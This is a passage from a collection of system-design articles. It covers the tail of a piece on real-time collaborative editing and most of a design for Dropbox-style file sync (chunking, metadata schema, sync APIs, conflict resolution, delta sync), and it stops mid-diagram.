**Cursor overlay approach:**

```typescript collapse={1-20}
interface RemoteCursor {
  clientId: string
  user: { name: string; color: string }
  anchor: number
  head: number
}

class CursorOverlay {
  private cursors: Map<string, RemoteCursor> = new Map()

  updateCursor(cursor: RemoteCursor): void {
    this.cursors.set(cursor.clientId, cursor)
    this.render()
  }

  removeCursor(clientId: string): void {
    this.cursors.delete(clientId)
    this.render()
  }

  private render(): void {
    // Convert character positions to screen coordinates
    for (const [clientId, cursor] of this.cursors) {
      const coords = this.positionToCoords(cursor.head)

      // Render cursor caret
      this.renderCaret(clientId, coords, cursor.user.color)

      // Render selection highlight if anchor !== head
      if (cursor.anchor !== cursor.head) {
        this.renderSelection(clientId, cursor.anchor, cursor.head, cursor.user.color)
      }

      // Render name label
      this.renderNameLabel(clientId, coords, cursor.user)
    }
  }
}
```

**Performance optimizations:**

| Technique                 | Purpose                 | Implementation              |
| ------------------------- | ----------------------- | --------------------------- |
| Throttle cursor updates   | Reduce network traffic  | Max 20 updates/sec          |
| Batch presence broadcasts | Reduce message count    | Collect 50ms, send batch    |
| Use CSS transforms        | Avoid layout thrashing  | `transform: translate()`    |
| Virtual cursor layer      | Don't modify editor DOM | Absolute positioned overlay |

### Offline Support

**Operation queue for offline editing:**

```typescript collapse={1-10}
class OfflineQueue {
  private db: IDBDatabase
  private queueName = "pendingOperations"

  async enqueue(documentId: string, operation: Operation): Promise<void> {
    const tx = this.db.transaction(this.queueName, "readwrite")
    const store = tx.objectStore(this.queueName)

    await store.add({
      documentId,
      operation,
      timestamp: Date.now(),
      id: crypto.randomUUID(),
    })
  }

  async syncPending(documentId: string): Promise<void> {
    const pending = await this.getPending(documentId)

    for (const item of pending) {
      try {
        await this.sendOperation(item)
        await this.remove(item.id)
      } catch (e) {
        if (e instanceof RevisionConflictError) {
          // Fetch missing ops, transform, retry
          await this.handleConflict(documentId, item)
        } else {
          throw e
        }
      }
    }
  }
}
```

## Infrastructure

### Cloud-Agnostic Components

| Component         | Purpose               | Options                       |
| ----------------- | --------------------- | ----------------------------- |
| WebSocket Gateway | Real-time connections | Nginx, HAProxy, Envoy         |
| Message Queue     | Operation streaming   | Kafka, RabbitMQ, NATS         |
| KV Store          | Active document state | Redis, Memcached, KeyDB       |
| Document Store    | Operation log         | Cassandra, ScyllaDB, DynamoDB |
| Object Store      | Snapshots, media      | MinIO, Ceph, S3-compatible    |
| Relational DB     | Metadata, ACL         | PostgreSQL, CockroachDB       |

### AWS Reference Architecture

![Diagram](./diagram-4.svg)

**Service configurations:**

| Service                | Configuration                  | Rationale                        |
| ---------------------- | ------------------------------ | -------------------------------- |
| WebSocket (Fargate)    | 4 vCPU, 8GB RAM                | Memory for active documents      |
| API (Fargate)          | 2 vCPU, 4GB RAM                | Stateless, scale on traffic      |
| Workers (Fargate Spot) | 2 vCPU, 4GB RAM                | Cost optimization for async work |
| ElastiCache            | r6g.xlarge cluster             | Sub-ms latency for hot documents |
| RDS PostgreSQL         | db.r6g.2xlarge Multi-AZ        | Metadata queries, ACL            |
| DynamoDB               | On-demand                      | Predictable per-op pricing       |
| S3                     | Standard + Intelligent-Tiering | Hot snapshots, cold history      |

### Scaling Considerations

**WebSocket connection limits:**

- Single server: ~65K connections (Linux file descriptor limit)
- Solution: Consistent hashing by document ID across server pool
- Active documents per server: ~10K (memory constrained)

**Document processor memory:**

- Average document state: 100KB
- Active document with history buffer: 500KB
- 8GB server → ~16K active documents max

**Operation log partitioning:**

- DynamoDB partition key: document_id
- Hot partition: 3000 WCU per partition
- Solution: Document sharding if single doc exceeds limits (rare)

## Conclusion

This design provides real-time collaborative document editing with:

1. **Sub-200ms operation propagation** via WebSocket and server-ordered OT
2. **Strong convergence guarantees** without P2P complexity
3. **Full revision history** through event-sourced operation log
4. **Offline resilience** with IndexedDB operation queue and conflict resolution

**Key architectural decisions:**

- Server-ordered OT eliminates TP2 correctness concerns
- Periodic snapshots bound operation replay cost
- Ephemeral presence avoids persistence overhead for cursors
- Per-document process isolation simplifies scaling

**Known limitations:**

- Server dependency for real-time sync (no true P2P)
- Memory pressure at high concurrent editor counts
- Snapshot creation adds latency for very active documents

**Future enhancements:**

- Hybrid OT/CRDT for better offline support (Eg-walker approach)
- Incremental snapshot deltas to reduce storage
- Smarter presence coalescing for large collaborator counts

## Appendix

### Prerequisites

- Distributed systems fundamentals (eventual consistency, vector clocks)
- Real-time communication patterns (WebSocket, SSE)
- Event sourcing concepts
- Understanding of OT or CRDTs (see related articles)

### Terminology

| Term          | Definition                                                                    |
| ------------- | ----------------------------------------------------------------------------- |
| **OT**        | Operational Transformation - algorithm for transforming concurrent operations |
| **TP1/TP2**   | Transformation properties ensuring convergence                                |
| **Revision**  | Monotonic counter representing document state version                         |
| **Operation** | Atomic change to document (insert, delete, format)                            |
| **Snapshot**  | Full document state at a specific revision                                    |
| **Presence**  | Ephemeral state like cursors and selections                                   |
| **Tombstone** | Marker for deleted content in CRDT systems                                    |

### Summary

- Real-time collaborative editing requires **synchronization algorithms** (OT or CRDT), **presence broadcasting**, and **event-sourced persistence**
- **Server-ordered OT** dominates production use (Google Docs, CKEditor) because it avoids TP2 correctness issues
- **WebSocket** provides full-duplex communication with 1-10ms latency after handshake
- **Operation log + periodic snapshots** enables full revision history while bounding replay cost
- **Presence is ephemeral**—cursors and selections stored in memory only, reconstructed on reconnect
- Scale to 50 concurrent editors per document with ~200ms operation propagation latency

### References

**Architecture and Implementation:**

- [How Figma's Multiplayer Technology Works](https://www.figma.com/blog/how-figmas-multiplayer-technology-works/) - Figma Engineering Blog
- [Making Multiplayer More Reliable](https://www.figma.com/blog/making-multiplayer-more-reliable/) - Figma transaction journal design
- [Realtime Editing of Ordered Sequences](https://www.figma.com/blog/realtime-editing-of-ordered-sequences/) - Fractional indexing at Figma
- [The Data Model Behind Notion](https://www.notion.com/blog/data-model-behind-notion) - Block-based architecture
- [Sharding Postgres at Notion](https://www.notion.com/blog/sharding-postgres-at-notion) - Database scaling patterns
- [Scaling the Linear Sync Engine](https://linear.app/now/scaling-the-linear-sync-engine) - Local-first sync architecture

**Operational Transformation:**

- [Apache Wave OT Whitepaper](https://svn.apache.org/repos/asf/incubator/wave/whitepapers/operational-transform/operational-transform.html) - Detailed protocol specification
- [Google Drive Blog: What's Different About New Google Docs](https://drive.googleblog.com/2010/09/whats-different-about-new-google-docs.html) - Architecture overview
- [Lessons Learned from CKEditor 5](https://ckeditor.com/blog/lessons-learned-from-creating-a-rich-text-editor-with-real-time-collaboration/) - Production OT for rich text

**Algorithms and Research:**

- [Eg-walker: Collaborative Text Editing](https://arxiv.org/abs/2409.14252) - Gentle & Kleppmann, EuroSys 2025
- [Real Differences between OT and CRDT](https://dl.acm.org/doi/10.1145/3375186) - ACM 2020 comparison
- [Performance of Real-Time Collaborative Editors at Large Scale](https://inria.hal.science/hal-01351229v1/document) - Scaling analysis

**Related Articles:**

- [Operational Transformation](../../core-distributed-patterns/operational-transformation/README.md) - Deep dive into OT algorithms
- [CRDTs for Collaborative Systems](../../core-distributed-patterns/crdt-for-collaborative-systems/README.md) - Alternative approach for offline-first

---

## Design Dropbox File Sync

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-dropbox-file-sync
**Category:** System Design / System Design Problems
**Description:** A system design for a file synchronization service that keeps files consistent across multiple devices. This design addresses the core challenges of efficient data transfer, conflict resolution, and real-time synchronization at scale—handling 500+ petabytes of data across 700 million users.

# Design Dropbox File Sync

A system design for a file synchronization service that keeps files consistent across multiple devices. This design addresses the core challenges of efficient data transfer, conflict resolution, and real-time synchronization at scale—handling 500+ petabytes of data across 700 million users.

<figure>

![High-level architecture: clients sync through API gateway to metadata and block services, with real-time notifications via message queue.](./high-level-architecture-clients-sync-through-api-gateway-to-metadata-and-block-s.svg)

<figcaption>High-level architecture: clients sync through API gateway to metadata and block services, with real-time notifications via message queue.</figcaption>
</figure>

## Abstract

File sync is fundamentally a **distributed state reconciliation** problem with three key insights:

1. **Content-defined chunking** breaks files at content-determined boundaries (not fixed offsets), so insertions don't invalidate all subsequent chunks—enabling ~90% deduplication across file versions
2. **Three-tree model** (local, remote, synced) provides an unambiguous merge base to determine change direction without conflicts
3. **Block-level addressing** (content hash as ID) makes upload idempotent and enables cross-user deduplication at petabyte scale

The critical tradeoff: **eventual consistency with conflict preservation**. Rather than complex merge algorithms, create "conflicted copies" when concurrent edits occur—simple, predictable, and avoids data loss.

## Requirements

### Functional Requirements

| Feature              | Priority | Scope                  |
| -------------------- | -------- | ---------------------- |
| File upload/download | Core     | Full implementation    |
| Cross-device sync    | Core     | Full implementation    |
| Selective sync       | Core     | Full implementation    |
| File versioning      | Core     | 30-day history         |
| Conflict handling    | Core     | Conflicted copies      |
| Shared folders       | High     | Full implementation    |
| Link sharing         | High     | Read/write permissions |
| LAN sync             | Medium   | P2P optimization       |
| Offline access       | Medium   | Client-side            |
| Search               | Low      | Metadata only          |

### Non-Functional Requirements

| Requirement                | Target                    | Rationale                    |
| -------------------------- | ------------------------- | ---------------------------- |
| Availability               | 99.99%                    | Business-critical data       |
| Sync latency (same region) | p50 < 2s, p99 < 10s       | User perception threshold    |
| Upload throughput          | 100 MB/s per client       | Saturate typical connections |
| Storage durability         | 99.9999999999% (12 nines) | Data loss is unacceptable    |
| Consistency                | Eventual (< 5s typical)   | Acceptable for file sync     |
| Deduplication ratio        | > 2:1 cross-user          | Storage cost optimization    |

### Scale Estimation

**Users:**

- Registered users: 700M
- DAU: 70M (10% of registered)
- Peak concurrent: 7M

**Files:**

- Files per user: 5,000 average
- Total files: 3.5 trillion
- New files per day: 1.2B

**Storage:**

- Average file size: 150KB
- Total storage: 500PB+
- Daily ingress: 180TB (1.2B × 150KB)

**Traffic:**

- Metadata operations: 10M RPS (reads dominate)
- Block uploads: 500K RPS
- Block downloads: 2M RPS
- Notification connections: 7M concurrent WebSockets

## Design Paths

### Path A: Block-Based Sync (Chosen)

**Best when:**

- Large files that change incrementally (documents, code repositories)
- Cross-user deduplication is valuable
- Bandwidth optimization is critical

**Architecture:** Files split into content-defined chunks (~4MB blocks), each identified by content hash. Only changed blocks transfer.

**Key characteristics:**

- Deduplication at block level
- Delta sync requires only changed blocks
- Block storage can be globally deduplicated

**Trade-offs:**

- ✅ 2,500x bandwidth reduction for incremental changes
- ✅ Cross-user deduplication (identical blocks stored once)
- ✅ Resumable uploads (block-level checkpointing)
- ❌ Complexity in chunking algorithms
- ❌ Small file overhead (metadata > content for tiny files)
- ❌ Client CPU cost for hashing

**Real-world example:** Dropbox uses 4MB blocks with SHA-256 hashing. Magic Pocket stores 500+ PB with 600K+ drives, achieving significant deduplication across their user base.

### Path B: Whole-File Sync

**Best when:**

- Small files only (< 1MB average)
- Simple implementation required
- Files rarely modified (write-once)

**Architecture:** Files uploaded/downloaded atomically. No chunking.

**Trade-offs:**

- ✅ Simple implementation
- ✅ Lower client CPU (no chunking)
- ❌ No delta sync (full re-upload on any change)
- ❌ No cross-file deduplication
- ❌ Large files block on full transfer

**Real-world example:** Simple cloud storage for photos (Google Photos initially) where files are write-once and relatively small.

### Path Comparison

| Factor               | Block-Based             | Whole-File          |
| -------------------- | ----------------------- | ------------------- |
| Delta sync           | Yes (block-level)       | No                  |
| Deduplication        | Cross-user, cross-file  | None                |
| Bandwidth efficiency | High (2,500x for edits) | Low                 |
| Client complexity    | High                    | Low                 |
| Small file overhead  | Higher                  | None                |
| Best for             | Documents, code         | Photos, small media |

### This Article's Focus

This article focuses on **Path A (Block-Based Sync)** because file sync services primarily handle documents and files that change incrementally, where bandwidth optimization provides the most value.

## High-Level Design

### Client Architecture: Three Trees Model

The sync engine maintains three tree structures representing file state:

```
┌─────────────────────────────────────────────────────────────┐
│                    Client Sync Engine                        │
├─────────────────┬─────────────────┬─────────────────────────┤
│   Local Tree    │   Synced Tree   │      Remote Tree        │
│  (disk state)   │  (merge base)   │   (server state)        │
├─────────────────┼─────────────────┼─────────────────────────┤
│ file.txt (v3)   │ file.txt (v2)   │ file.txt (v2)           │
│ new.txt         │      -          │       -                 │
│      -          │ deleted.txt     │       -                 │
└─────────────────┴─────────────────┴─────────────────────────┘
```

**Why three trees?** Without a synced tree (merge base), you cannot distinguish:

- "User deleted file locally" vs "File was never synced here"
- "User created file locally" vs "File deleted on server"

**Sync algorithm:**

1. Compare Local vs Synced → detect local changes
2. Compare Remote vs Synced → detect remote changes
3. Apply non-conflicting changes bidirectionally
4. Handle conflicts (see Conflict Resolution section)

**Node identification:** Files identified by unique ID (not path), enabling O(1) atomic directory renames instead of O(n) path updates.

### Chunking: Content-Defined Chunking (CDC)

Fixed-size chunking fails catastrophically when content is inserted:

```
Fixed chunking (4-byte blocks):
Before: [ABCD][EFGH][IJKL]
Insert X at position 2:
After:  [ABXC][DEFG][HIJK][L...]  ← All blocks change!

Content-defined chunking:
Before: [ABC|DEF|GHIJ]  (boundaries at content patterns)
Insert X at position 2:
After:  [ABXC|DEF|GHIJ]  ← Only first block changes
```

#### Gear Hash Algorithm

Dropbox and modern implementations use **Gear hash** for chunk boundary detection:

```typescript
// Gear hash: FP_i = (FP_{i-1} << 1) + GearTable[byte]
const GEAR_TABLE: Uint32Array = new Uint32Array(256) // Random values

function findChunkBoundary(
  data: Uint8Array,
  minSize: number,
  maxSize: number,
  mask: number, // e.g., 0x1FFF for ~8KB average
): number {
  let fp = 0

  // Skip minimum chunk size (cut-point skipping optimization)
  for (let i = 0; i < Math.min(minSize, data.length); i++) {
    fp = ((fp << 1) + GEAR_TABLE[data[i]]) >>> 0
  }

  // Search for boundary
  for (let i = minSize; i < Math.min(maxSize, data.length); i++) {
    fp = ((fp << 1) + GEAR_TABLE[data[i]]) >>> 0
    if ((fp & mask) === 0) {
      return i + 1 // Boundary found
    }
  }

  return Math.min(maxSize, data.length) // Force boundary at max
}
```

**Performance:** Gear hash performs 1 ADD + 1 SHIFT + 1 array lookup per byte, vs Rabin's 2 XORs + 2 SHIFTs + 2 lookups. FastCDC achieves **10x faster** than Rabin-based CDC.

**Chunk parameters:**
| Parameter | Typical Value | Rationale |
|-----------|---------------|-----------|
| Min chunk | 2KB | Avoid tiny chunks |
| Average chunk | 8KB (small files) / 4MB (large files) | Balance dedup vs overhead |
| Max chunk | 64KB / 16MB | Bound worst-case |
| Mask bits | 13 (8KB avg) | 2^13 = 8192 expected bytes between boundaries |

**Dropbox specifics:** 4MB blocks, SHA-256 content hash as block identifier.

### Block Storage Architecture

<figure>

![Block storage with three-zone replication. Blocks stored in at least 2 zones within 1 second, third zone async.](./block-storage-with-three-zone-replication-blocks-stored-in-at-least-2-zones-with.svg)

<figcaption>Block storage with three-zone replication. Blocks stored in at least 2 zones within 1 second, third zone async.</figcaption>
</figure>

**Block addressing:** Content hash (SHA-256) as block ID. Two identical blocks anywhere in the system share storage.

**Storage hierarchy:**

1. **Block** (4MB max): Unit of upload/download, content-addressed
2. **Bucket** (1GB): Aggregation of blocks for efficient disk I/O
3. **Cell** (~50-100PB): Failure domain, independent replication
4. **Zone**: Geographic region

**Durability math:**

- 3-zone replication
- Within each zone: erasure coding or replication
- Target: 99.9999999999% annual durability (< 1 block lost per 100 billion)

### Metadata Service

Metadata operations dominate traffic (10:1 vs block operations). Design for high read throughput.

#### Schema Design

```sql
-- File metadata (sharded by namespace_id)
CREATE TABLE files (
    namespace_id    BIGINT NOT NULL,      -- User/shared folder
    file_id         UUID NOT NULL,        -- Stable identifier
    path            TEXT NOT NULL,        -- Current path (mutable)
    blocklist       UUID[] NOT NULL,      -- Ordered list of block hashes
    size            BIGINT NOT NULL,
    content_hash    BYTEA NOT NULL,       -- Hash of concatenated blocks
    modified_at     TIMESTAMPTZ NOT NULL,
    revision        BIGINT NOT NULL,      -- Monotonic version
    is_deleted      BOOLEAN DEFAULT FALSE,

    PRIMARY KEY (namespace_id, file_id)
);

-- Enables path lookups within namespace
CREATE INDEX idx_files_path ON files(namespace_id, path)
    WHERE NOT is_deleted;

-- Journal for sync cursor (append-only)
CREATE TABLE journal (
    namespace_id    BIGINT NOT NULL,
    journal_id      BIGINT NOT NULL,      -- Monotonic cursor
    file_id         UUID NOT NULL,
    operation       VARCHAR(10) NOT NULL, -- 'create', 'modify', 'delete', 'move'
    timestamp       TIMESTAMPTZ NOT NULL,

    PRIMARY KEY (namespace_id, journal_id)
);
```

**Sharding strategy:** By `namespace_id` (user account or shared folder). Co-locates all user's files on same shard.

**Journal pattern:** Clients track sync position via `journal_id`. On reconnect, fetch all changes since last cursor—O(changes) not O(files).

#### Caching Strategy

```
┌────────────────────────────────────────────────────────────┐
│                    Cache Hierarchy                          │
├──────────────────┬──────────────────┬──────────────────────┤
│   Client Cache   │   Edge Cache     │   Origin Cache       │
│   (SQLite)       │   (Regional)     │   (Global)           │
├──────────────────┼──────────────────┼──────────────────────┤
│ Full tree state  │ Hot metadata     │ Frequently accessed  │
│ Block cache      │ TTL: 5 seconds   │ TTL: 30 seconds      │
│ Offline access   │ Namespace-keyed  │ File-id keyed        │
└──────────────────┴──────────────────┴──────────────────────┘
```

**Invalidation:** Write-through to cache on metadata mutations. Short TTL acceptable because clients reconcile via journal cursor.

### Notification Service

Real-time sync requires push notifications when remote changes occur.

**Options:**

| Mechanism    | Latency | Connections          | Use Case         |
| ------------ | ------- | -------------------- | ---------------- |
| Polling      | 5-30s   | Stateless            | Simple, legacy   |
| Long polling | 1-5s    | Semi-persistent      | Moderate scale   |
| WebSocket    | < 100ms | Persistent           | Real-time sync   |
| SSE          | < 100ms | Persistent (one-way) | Server push only |

**Chosen: WebSocket with fallback to long polling**

**Connection scaling:**

- 7M concurrent connections at peak
- Each connection: ~10KB memory
- Total: ~70GB memory for connection state
- Horizontal scaling via connection affinity (consistent hashing on user_id)

**Notification payload (minimal):**

```json
{
  "namespace_id": "ns_abc123",
  "journal_id": 158293,
  "hint": "file_changed" // Client fetches details via API
}
```

Keep payloads minimal—notification triggers sync, doesn't contain data.

## API Design

### Sync Flow APIs

#### List Changes (Cursor-Based)

```
GET /api/v2/files/list_folder/continue
```

**Request:**

```json
{
  "cursor": "AAGvR5..." // Opaque cursor encoding (namespace_id, journal_id)
}
```

**Response:**

```json
{
  "entries": [
    {
      "tag": "file",
      "id": "id:abc123",
      "path_display": "/Documents/report.pdf",
      "rev": "015a3e0c4b650000000",
      "size": 1048576,
      "content_hash": "e3b0c44298fc1c149afbf4c8996fb924...",
      "server_modified": "2024-01-15T10:30:00Z"
    },
    {
      "tag": "deleted",
      "id": "id:def456",
      "path_display": "/old-file.txt"
    }
  ],
  "cursor": "AAGvR6...",
  "has_more": false
}
```

**Why cursor-based:**

- Stable under concurrent modifications
- Client can disconnect/reconnect and resume exactly
- O(1) database lookup vs O(n) offset skip

#### Upload Session (Block-Based)

**Phase 1: Start session**

```
POST /api/v2/files/upload_session/start
```

```json
{
  "session_type": "concurrent", // Allows parallel block uploads
  "content_hash": "e3b0c44..." // Optional: skip if file unchanged
}
```

**Phase 2: Append blocks (parallelizable)**

```
POST /api/v2/files/upload_session/append_v2
Content-Type: application/octet-stream
Dropbox-API-Arg: {"cursor": {"session_id": "...", "offset": 0}}

[4MB binary block data]
```

**Phase 3: Finish and commit**

```
POST /api/v2/files/upload_session/finish
```

```json
{
  "cursor": { "session_id": "...", "offset": 12582912 },
  "commit": {
    "path": "/Documents/large-file.zip",
    "mode": "overwrite",
    "mute": false // true = don't notify other clients immediately
  }
}
```

**Response includes block deduplication:**

```json
{
  "id": "id:abc123",
  "size": 12582912,
  "blocks_reused": 2, // Blocks already existed
  "blocks_uploaded": 1, // New blocks stored
  "bytes_transferred": 4194304 // Only new block data
}
```

### Block Sync Protocol

<figure>

![Upload flow: commit blocklist first, upload only missing blocks, then finalize. Streaming sync allows downloads to begin before upload completes.](./upload-flow-commit-blocklist-first-upload-only-missing-blocks-then-finalize-stre.svg)

<figcaption>Upload flow: commit blocklist first, upload only missing blocks, then finalize. Streaming sync allows downloads to begin before upload completes.</figcaption>
</figure>

**Streaming sync optimization:** Clients can prefetch blocks from partial blocklists before commit finalizes—reduces end-to-end sync time by 2x for large files.

## Low-Level Design: Conflict Resolution

### Conflict Detection

Conflicts occur when both local and remote trees changed the same file since the synced tree state:

```
Timeline:
t0: Synced tree = {file.txt, rev=5}
t1: Local edit  → Local tree = {file.txt, rev=5, modified}
t2: Remote edit → Remote tree = {file.txt, rev=6}
t3: Sync attempt → CONFLICT (local modified, remote also modified)
```

**Detection algorithm:**

```python
def detect_conflict(local: Node, remote: Node, synced: Node) -> ConflictType:
    local_changed = local != synced
    remote_changed = remote != synced

    if not local_changed:
        return ConflictType.NONE  # Apply remote
    if not remote_changed:
        return ConflictType.NONE  # Apply local
    if local == remote:
        return ConflictType.NONE  # Same change, no conflict

    # Both changed differently
    if local.is_delete and remote.is_delete:
        return ConflictType.NONE  # Both deleted, no conflict
    if local.is_delete or remote.is_delete:
        return ConflictType.EDIT_DELETE

    return ConflictType.EDIT_EDIT
```

### Conflict Resolution Strategy

**Chosen approach: Conflicted copies**

When conflict detected:

1. Keep the remote version at original path
2. Create local version as `filename (Computer Name's conflicted copy YYYY-MM-DD).ext`
3. User manually resolves by keeping preferred version

**Why not auto-merge:**

- File formats are opaque (binary, proprietary)
- Wrong merge = data corruption (worse than duplicate)
- User knows intent; algorithm cannot
- Simple, predictable behavior

**Alternative strategies (not chosen):**

| Strategy                   | Pros             | Cons                       | Use Case           |
| -------------------------- | ---------------- | -------------------------- | ------------------ |
| Last-write-wins            | Simple           | Data loss                  | Logs, non-critical |
| Vector clocks              | Tracks causality | Complex, metadata overhead | Distributed DBs    |
| CRDTs                      | Auto-merge       | Limited data types         | Collaborative text |
| OT (Operational Transform) | Real-time collab | Extreme complexity         | Google Docs        |

### Edge Cases

**Edit-delete conflict:**

- Remote deleted, local edited → Restore file with local edits
- Local deleted, remote edited → Keep remote version, local delete is lost

**Directory conflicts:**

- Move vs edit: Apply move, file content syncs to new location
- Move vs move: Create conflicted folder name
- Delete folder with unsynced children: Preserve unsynced files in special recovery folder

**Rename loops:**

- A renames folder X→Y, B renames Y→X simultaneously
- Resolution: Arbitrary tiebreaker (lexicographic on device ID)

## Low-Level Design: Delta Sync

For files that change incrementally (e.g., appending to logs, editing documents), transferring only the diff provides massive bandwidth savings.

### Block-Level Delta

When a file changes, recompute chunk boundaries:

```
Before: [Block A][Block B][Block C]
        (hash_a) (hash_b) (hash_c)

Edit middle of Block B:

After:  [Block A][Block B'][Block C]
        (hash_a) (hash_b') (hash_c)

Blocks to upload: only Block B' (hash_b')
Bandwidth saved: 66% (2 of 3 blocks reused)
```

**Content-defined chunking is critical:** Fixed-size chunks would shift all boundaries after an insertion, invalidating all subsequent blocks.

### Sub-Block Delta (Binary Diff)

For further optimization within changed blocks, use rsync-style rolling checksums:

```python
def compute_delta(old_block: bytes, new_block: bytes) -> Delta:
    """Rsync algorithm: find matching regions, send only diffs."""
    BLOCK_SIZE = 700  # Rolling checksum window

    # Build index of old block's checksums
    old_checksums = {}
    for i in range(0, len(old_block) - BLOCK_SIZE, BLOCK_SIZE):
        weak = adler32(old_block[i:i+BLOCK_SIZE])
        strong = sha256(old_block[i:i+BLOCK_SIZE])
        old_checksums[weak] = (i, strong)

    # Scan new block with rolling checksum
    delta = []
    i = 0
    while i < len(new_block) - BLOCK_SIZE:
        weak = rolling_adler32(new_block, i, BLOCK_SIZE)

        if weak in old_checksums:
            offset, expected_strong = old_checksums[weak]
            actual_strong = sha256(new_block[i:i+BLOCK_SIZE])

            if actual_strong == expected_strong:
                # Match found - emit COPY instruction
                delta.append(Copy(source_offset=offset, length=BLOCK_SIZE))
                i += BLOCK_SIZE
                continue

        # No match - emit literal byte
        delta.append(Literal(new_block[i]))
        i += 1

    return delta
```

**Rolling checksum:** Adler-32 based, can update in O(1) as window slides:

```
a(i+1, i+n) = a(i, i+n-1) - old_byte + new_byte
b(i+1, i+n) = b(i, i+n-1) - n*old_byte + a(i+1, i+n)
checksum = b * 65536 + a
```

**Real-world impact:** Binary diff on a 100MB database file with 1KB change: ~2KB transfer instead of 100MB (**50,000x reduction**).

## Low-Level Design: Bandwidth Optimization

### Compression Pipeline

Dropbox's **Broccoli** (modified Brotli) achieves 30% bandwidth savings:

```
┌─────────────────────────────────────────────────────┐
│              Compression Pipeline                    │
├─────────────────────────────────────────────────────┤
│ 1. Chunk file (CDC)                                 │
│ 2. Compress each chunk independently (parallel)     │
│ 3. Concatenate compressed streams                   │
│ 4. Upload concatenated result                       │
├─────────────────────────────────────────────────────┤
│ Broccoli modifications:                             │
│ - Uncompressed meta-block header for context        │
│ - Disabled dictionary references across blocks      │
│ - Enables parallel compression + concatenation      │
└─────────────────────────────────────────────────────┘
```

**Performance impact:**
| Metric | Before Broccoli | After Broccoli |
|--------|-----------------|----------------|
| Upload bandwidth | 100% | ~70% (30% savings) |
| Download bandwidth | 100% | ~85% (15% savings) |
| p50 upload latency | baseline | 35% faster |
| p50 download latency | baseline | 50% faster |

### LAN Sync

When multiple clients on same LAN have the same blocks, transfer locally instead of through cloud:

**Discovery:** UDP broadcast on port 17500 (IANA-reserved for Dropbox)

**Protocol:**

```
GET https://<lan-peer>/blocks/{namespace_id}/{block_hash}
Authorization: Bearer <namespace-scoped-certificate>
```

**Security:** Per-namespace SSL certificates issued by Dropbox servers, rotated when shared folder membership changes. Prevents unauthorized block access even on local network.

**Bandwidth savings:** 100% of block data stays on LAN for shared team folders.

### Upload Prioritization

Not all files are equal. Prioritize based on:

1. **User-initiated actions** (explicit upload) > Background sync
2. **Small files** > Large files (faster perceived completion)
3. **Recently modified** > Old files
4. **Active documents** > Archives

**Implementation:** Priority queue with aging to prevent starvation.

## Frontend Considerations

### Desktop Client Architecture

```
┌────────────────────────────────────────────────────────────┐
│                    Desktop Client                           │
├──────────────────────────────────────────────────────────────┤
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────────────┐  │
│  │ File System │  │ Sync Engine │  │ Network Layer       │  │
│  │ Watcher     │  │             │  │                     │  │
│  │             │  │ Three Trees │  │ HTTP/2 multiplexing │  │
│  │ inotify/    │──│ Reconciler  │──│ WebSocket notify    │  │
│  │ FSEvents    │  │             │  │ Block upload/down   │  │
│  │             │  │ Conflict    │  │                     │  │
│  │             │  │ Handler     │  │ Retry + backoff     │  │
│  └─────────────┘  └─────────────┘  └─────────────────────┘  │
│                                                              │
│  ┌─────────────────────────────────────────────────────────┐│
│  │                    Local Database                        ││
│  │  SQLite: tree state, block cache index, sync cursor     ││
│  └─────────────────────────────────────────────────────────┘│
└──────────────────────────────────────────────────────────────┘
```

**File system watching:**

- macOS: FSEvents (coalesced, efficient)
- Linux: inotify (per-file, watch limits ~8192 default)
- Windows: ReadDirectoryChangesW

**Watch limit handling:** For large folders exceeding inotify limits, fall back to periodic polling with checksums.

### Sync Status UI

Users need visibility into sync state:

```typescript
interface SyncStatus {
  state: "synced" | "syncing" | "paused" | "offline" | "error"
  pendingFiles: number
  pendingBytes: number
  currentFile?: {
    path: string
    progress: number // 0-100
    speed: number // bytes/sec
  }
  errors: SyncError[]
}
```

**Status indicators:**

- ✓ Green checkmark: Fully synced
- ↻ Blue arrows: Syncing in progress
- ⏸ Gray pause: Paused (user-initiated or bandwidth limit)
- ⚠ Yellow warning: Conflicts or errors need attention
- ✕ Red X: Critical error (auth failed, storage full)

### Selective Sync

Large Dropbox accounts may exceed local disk. Allow users to choose which folders sync locally:

```typescript
interface SelectiveSyncConfig {
  // Folders to sync (whitelist approach)
  includedPaths: string[]

  // Or folders to exclude (blacklist approach for "sync everything except")
  excludedPaths: string[]

  // Smart sync: files appear in finder but download on-demand
  smartSyncEnabled: boolean
  smartSyncPolicy: "local" | "online-only" | "mixed"
}
```

**Smart Sync (virtual files):**

- Files appear in file browser with cloud icon
- Open file → triggers download
- Configurable: keep local after access vs evict after N days
- Requires OS integration (Windows: Cloud Files API, macOS: File Provider)

## Infrastructure Design

### Cloud-Agnostic Concepts

| Component      | Concept                              | Requirements                             |
| -------------- | ------------------------------------ | ---------------------------------------- |
| Block storage  | Object store with content addressing | High durability, geo-replication         |
| Metadata store | Sharded relational DB                | Strong consistency, high read throughput |
| Cache          | Distributed key-value                | Sub-ms latency, TTL support              |
| Notification   | Pub/sub with persistent connections  | Millions of concurrent connections       |
| Compute        | Container orchestration              | Auto-scaling, rolling deploys            |

### AWS Reference Architecture

```
┌─────────────────────────────────────────────────────────────┐
│                     AWS Infrastructure                       │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  ┌──────────────┐     ┌──────────────┐     ┌─────────────┐ │
│  │ Route 53     │────▶│ CloudFront   │────▶│ ALB         │ │
│  │ (DNS)        │     │ (CDN)        │     │             │ │
│  └──────────────┘     └──────────────┘     └──────┬──────┘ │
│                                                    │        │
│  ┌────────────────────────────────────────────────▼──────┐ │
│  │                    ECS / EKS                          │ │
│  │  ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │
│  │  │ API      │ │ Metadata │ │ Block    │ │ Notify   │ │ │
│  │  │ Gateway  │ │ Service  │ │ Service  │ │ Service  │ │ │
│  │  └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ │
│  └───────────────────────────────────────────────────────┘ │
│                                                              │
│  ┌─────────────────────────────────────────────────────────┐│
│  │                    Data Layer                           ││
│  │                                                         ││
│  │  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐  ││
│  │  │ Aurora       │  │ ElastiCache  │  │ S3           │  ││
│  │  │ PostgreSQL   │  │ Redis        │  │ (Block Store)│  ││
│  │  │ (Metadata)   │  │ (Cache)      │  │              │  ││
│  │  └──────────────┘  └──────────────┘  └──────────────┘  ││
│  │                                                         ││
│  │  ┌──────────────┐  ┌──────────────┐                    ││
